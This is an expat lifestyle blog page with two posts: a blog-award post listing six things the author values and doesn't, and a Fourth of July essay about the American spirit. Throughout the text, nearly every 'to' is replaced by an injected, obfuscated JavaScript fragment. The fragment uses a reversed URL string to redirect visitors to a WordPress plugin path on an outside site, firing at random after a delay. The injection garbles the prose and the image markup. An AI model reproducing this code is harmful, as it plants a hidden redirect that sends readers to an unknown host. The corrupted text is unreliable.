Blog Award

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 157px; CURSOR: hand; HEIGHT: 170px; TEXT-ALIGN: center” alt=”” src=”http://3.bp.blogspot.com/_kcTb8DnPVW4/SQ3v-Q7al8I/AAAAAAAACNA/UPzNePLljpw/s320/blog+award+image.bmp” border=”0″ />

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:2px;padding-right:5px;font-family:times;”>A few weeks ago amidst the madness of a busy, busy life I arrived home from an awful rainy day when everything was going wrong only toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to discover that I had won a Blog Award! It was as if the sun had come out toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to shine and ran the rain away — never mind that it kept pouring outside, I was cozy inside by the warm glow of my laptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top and first blog award!

I was delighted that Kelli at A Rendez-Vous with Style had christened me with the award!

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 214px; TEXT-ALIGN: center” alt=”” src=”http://1.bp.blogspot.com/_kcTb8DnPVW4/SQ3v-WKc4cI/AAAAAAAACM4/ThKYHmToA8o/s320/Kelli_ArcdeTriomphe.jpg” border=”0″ />
The rules of the award are:
1) Mention the blog that gave you the award and comment on their blog toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to let them know that you have posted their award.
2) List 6 things you VALUE and 6 things you Don’t VALUE.
3) Lastly, pass the award ontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 6 other friends!

6 Things I Value:
1) My husband
– He’s my soul mate, my best friend, my lover, my business partner and my hero. Together we are better than either of us could ever be alone.
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 227px; CURSOR: hand; HEIGHT: 320px; TEXT-ALIGN: center” alt=”” src=”http://2.bp.blogspot.com/_kcTb8DnPVW4/SQ3tD4kfafI/AAAAAAAACMY/Ns3CQP9OQlM/s320/scan0065.jpg” border=”0″ />
2) My family – I may live on the opposite side of the globe, but a day doesn’t go by that I don’t think of my mom, brother, sister, dad and in-laws. I am who I am because of who my family molded me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be.

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 240px; TEXT-ALIGN: center” alt=”” src=”http://3.bp.blogspot.com/_kcTb8DnPVW4/SQ3mNIGfSYI/AAAAAAAACLI/kFO9-RN5DK8/s320/family2.jpg” border=”0″ />toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 240px; TEXT-ALIGN: center” alt=”” src=”http://1.bp.blogspot.com/_kcTb8DnPVW4/SQ3uDh1Hf6I/AAAAAAAACMo/GmuNhHh1ZtM/s320/with+dad.jpg” border=”0″ />toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 240px; TEXT-ALIGN: center” alt=”” src=”http://4.bp.blogspot.com/_kcTb8DnPVW4/SQ3mMpCqn9I/AAAAAAAACLA/rU6om7Rnd8c/s320/Family.jpg” border=”0″ />toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 240px; TEXT-ALIGN: center” alt=”” src=”http://1.bp.blogspot.com/_kcTb8DnPVW4/SQ3mNf8gMyI/AAAAAAAACLQ/4nu0Wjp78h4/s320/family3.jpg” border=”0″ />toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 248px; TEXT-ALIGN: center” alt=”” src=”http://4.bp.blogspot.com/_kcTb8DnPVW4/SQ3smnPCNJI/AAAAAAAACL4/exlLGsLuREw/s320/little+diva.jpg” border=”0″ />

3) My relationship with God – Philippians 4:13 “I can do all things through Christ who strengthens me.”

4) My friends – Perhaps because my family is so far away, friends take on even more significance as they become my family, extending my network of love and support. toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 240px; TEXT-ALIGN: center” alt=”” src=”http://2.bp.blogspot.com/_kcTb8DnPVW4/SQ3slhMERyI/AAAAAAAACLY/BUXP6Bq2gbc/s320/friends.jpg” border=”0″ />toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 240px; TEXT-ALIGN: center” alt=”” src=”http://1.bp.blogspot.com/_kcTb8DnPVW4/SQ3smD6tPiI/AAAAAAAACLo/cOdLtR43fMI/s320/friends+3.jpg” border=”0″ /> toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 240px; CURSOR: hand; HEIGHT: 320px; TEXT-ALIGN: center” alt=”” src=”http://3.bp.blogspot.com/_kcTb8DnPVW4/SQ3tD6KgsrI/AAAAAAAACMg/bwmbLczxbh0/s320/tamara.jpg” border=”0″ />
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 240px; TEXT-ALIGN: center” alt=”” src=”http://3.bp.blogspot.com/_kcTb8DnPVW4/SQ3sl_780sI/AAAAAAAACLg/Vr9DzDbo5pw/s320/friends+2.jpg” border=”0″ />toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 240px; TEXT-ALIGN: center” alt=”” src=”http://2.bp.blogspot.com/_kcTb8DnPVW4/SQ3smd-pN8I/AAAAAAAACLw/AtZ5lDf2G4Y/s320/friends+4.jpg” border=”0″ />toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 240px; CURSOR: hand; HEIGHT: 320px; TEXT-ALIGN: center” alt=”” src=”http://1.bp.blogspot.com/_kcTb8DnPVW4/SQ3vM_6OgwI/AAAAAAAACMw/fQ9nILGGhXc/s320/Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torms.jpg” border=”0″ />
5) My cat – Some people have children, I have cats! Catpuccino has moved with us from America, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to France, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to The Netherlands and next stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top Germany!
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 240px; CURSOR: hand; HEIGHT: 320px; TEXT-ALIGN: center” alt=”” src=”http://3.bp.blogspot.com/_kcTb8DnPVW4/SQ3tC1PM4vI/AAAAAAAACMA/YyPQeElfwEw/s320/my+cat.jpg” border=”0″ />
6) My International Life – From a young age I knew I wanted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to live overseas. As a child I drew pictures of gondolas and men in striped shirts while other kids drew houses with picket fences. I sometimes think my International Life was pre-destined. I love every aspect of my life – even those rainy days where nothing seems toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go right. I am blessed each day I have the opportunity toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to live the life I lead.

6 Things I Don’t Value:
1) Apathy:
I live my life with passion and energy and have little toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolerance for those who have neither.

2) Excuses: We can all make excuses for a million different things, but it’s such a waste of time. Make No Excuses.

3) Reliving the Past: Whether the best memories of your life or worst memories of your life are in the past, reliving those memories time and time again serves no purpose. Live in the here and now. The past influences who you are toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today, but it’s histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory. The future is just a mystery. As the musical Rent sings, “No Day But Today…”

4) Greedy People: I believe that we should give according toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to how we are blessed, the more you have, the more you should give.

5) Lack of Motivation: I’m a firm believer in the American Dream – BE ALL You CAN BE!

6) Traffic Jams: It’s probably a good thing I don’t have a daily commute – I abhor traffic jams! Living in densely populated Holland means I spend a good deal of time sitting in traffic. It’s such a waste of time and I hate wasting time!!

The last step of this award is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pass the award on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 6 blogging friends!

1) Brit Gal in the USA
– I love watching Brit Gal explore my home state and the area I grew up! toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 150px; CURSOR: hand; HEIGHT: 131px; TEXT-ALIGN: center” alt=”” src=”http://2.bp.blogspot.com/_kcTb8DnPVW4/SQ3mMWHZbjI/AAAAAAAACKw/wTATamBNVg4/s320/Brit+Gal.jpg” border=”0″ />

2) toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toriancobweb.blogspot.com/” target=”_blank”>Victoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torian Cobweb – Another Oklahoman friend who’s started a blog. Not only does this blogger share the same interest in antiques as I do, but we have the same unusual first name – “Toma”! toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 220px; CURSOR: hand; HEIGHT: 164px; TEXT-ALIGN: center” alt=”” src=”http://2.bp.blogspot.com/_kcTb8DnPVW4/SQ3mMihIHxI/AAAAAAAACK4/dBINMVROHdE/s320/DSCN4300.JPG” border=”0″ />

3) Living Tastefully – A blog that is a group effort – written by 2 sisters and their friend in Germany toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 163px; CURSOR: hand; HEIGHT: 222px; TEXT-ALIGN: center” alt=”” src=”http://2.bp.blogspot.com/_kcTb8DnPVW4/SQ4B-e0oBgI/AAAAAAAACNQ/iej_iUeedgE/s320/2920028.jpg” border=”0″ />

4) Taxidiaris – Blogger Phivos is one of those all time great bloggers, an excellent networker who always has a kind word toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to share as he leaves comments and makes new friends
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 177px; CURSOR: hand; HEIGHT: 220px; TEXT-ALIGN: center” alt=”” src=”http://4.bp.blogspot.com/_kcTb8DnPVW4/SQ3tDp0-pwI/AAAAAAAACMQ/3atiQymsUdQ/s320/phivos.jpg” border=”0″ />
5) Paris et Cie – I discovered Kim through Phivos at Taxidiaris and always enjoy her musings
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 79px; CURSOR: hand; HEIGHT: 101px; TEXT-ALIGN: center” alt=”” src=”http://2.bp.blogspot.com/_kcTb8DnPVW4/SQ3tDZSFIOI/AAAAAAAACMI/KzYOIf7mVsw/s320/paris+et+cie.jpg” border=”0″ />
6) Dorie Greenspan – I met Dorie when I directed the Bloom Where You’re Planted program years ago in Paris and Dorie was a dashing guest speaker! She entranced me and I’ve been an avid fan ever since. She has excellent recipes, great cook books, and a witty, witty sense of humor!toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 254px; TEXT-ALIGN: center” alt=”” src=”http://4.bp.blogspot.com/_kcTb8DnPVW4/SRAE0bVUklI/AAAAAAAACNY/4AeYPebu32Y/s320/dorieladder.jpg” border=”0″ />

Fourth of July Special Edition: The American Spirit

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:2px;padding-right:5px;font-family:times;”>This morning I received a call from a good Dutch friend asking what I was doing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to celebrate the “4th of July”… and I realized that as I’ve lived outside of my own country for nearly a decade I haven’t celebrated America’s birthday in years. During our first years living overseas (we were in Paris at the time), my husband & I would turn up our noses on French food for 1 day of the year toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Planet Hollywood on the Champs-Élysées with our American friends Mike & Cindy (who’ve long since returned toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Oregon). We’d celebrate with an orgy of fried foods, laughter and music so loud that we had toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to shout toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hear one another. I remember another year in Paris when we went toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a 4th of July Party / Going Away Party for an American friend who was returning toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the States. The party was held on a roof-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top terrace overlooking the Eiffel Tower and just a few weeks later we sat on a 5th floor fire escape overlooking Trocadero watching the Bastille Day fireworks display with an English man, a French man and a Chinese woman. That year somehow the two events merged in my mind as my very own Independence Day celebration – a melding of the American me and my French sensibilities. Maybe that was the year that I started toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to become an “international citizen”. It must have been that next year that the 4th of July happened as if it were any other day. Without the makeshift stalls selling firecrackers at the edge of toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town, or the American flags waving from front porches, I wasn’t reminded of the holiday! Without the visual reminders, I never thought toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to remember the celebration.

The 4th of July is as American as Apple Pie, Baseball, Parades, back-yard BBQ’s, red and white checkered tablecloths and ants invading the picnic! The date technically commemorates the adoption of the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory.org/Declaration/” target=”_blank”>Declaration of Independence on July 4, 1776, declaring independence from the Kingdom of Great Britain, but it is much more than a federal holiday. In all the parades, fireworks and enthusiasm, Independence Day defines the American Spirit. As my Dutch friend and I chatted on the phone this morning, discussing the meaning behind the American Independence Day, she asked me a difficult question… the type of question that foreigners often ask; taking me by surprise and making me verbalize an intuitive answer.

“How do you define the American spirit?”

As an American – true red, white & blue – I’ve lived outside the USA for almost a decade. But my birthright remains strong, providing a framework in which I find & define my identity – I’m a passport-wielding American, but in spite of an international lifestyle, I am an American through and through! An Irish friend, who spent a few years living in New York, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}told me “What I love about Americans is that they step intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a room and expect toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be adored! It’s a wonderful trait Americans have – a confidence and a belief in themselves that defines the American spirit.” Whether it’s a Nike slogan “Just do it!” or the rugged self-assurance of the now politically-incorrect, iconic Marlboro Man, as Americans we possess a “can do” attitude that often translates intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to an entrepreneual spirit.

My dad always says that the last two words in “American” are “I can” and the longer I am overseas the more I realize how this self-empowered, do-it-yourself attitude truly is an American trait. As Americans we are self starters. The American dream is based on the belief that all people are created equal – essentially anyone can do whatever their personal skills & desire allow them toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do. While European friends who watched hours and hours of video, post Hurricane Katrina, might disagree with this statement, I believe that the social hierarchy found almost everywhere else in the world is not as readily in effect in America as it is elsewhere.

I think my European & Asian friends wrinkle their brow in confusion at me sometimes – asking “Why do you do it?” – it being any number of things from moving toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a new country, volunteering as the president of an international club, helping organize my toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town’s antique fair, starting a new company or writing a book (which, fingers crossed, a publisher will someday fall in love with) and in the meantime blogging about my life as The Antiques Diva™. More than once a friend has said, “Wouldn’t it be easier toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have stayed home in Oklahoma? To have ‘read the book’ rather than ‘tried toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to write one’? Why bother toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to learn Dutch when you are only here for a few years? Why waste the time & effort starting a company, for that same reason?” “What do you get out of volunteering on the board of your women’s club? Why not merely be a member and reap the benefits without so much bloody work?”

But toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do any of these things is in my very nature as an American. An elderly Japanese friend, who is a member of the same women’s social club as I am, remarked one day after I returned from a solo trip driving back from England (and taking the car on the ferry) toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Holland by myself, “You’re so good at finding your way around Europe. Americans are always good at finding their way. In our club, American members always know where toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go, how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get there, and then they are the first toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to volunteer toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to coordinate a group activity toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go out and do or see something!”

As a foreigner living abroad, I don’t take my new home for granted. I go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the museums, I visit the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourist sites, I eat at the best restaurants (I like toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to say “I’m eating Europe, one bite
at a time”
) and try toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to learn as much about the area as I can. Part of the joy of day-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-day life in being a foreigner living abroad is that you get the excitement of being a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourist while dealing with the drudgery of day-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-day issues such as a plumbing repair in a foreign language (trust me, that teaches you vocabulary you never wanted 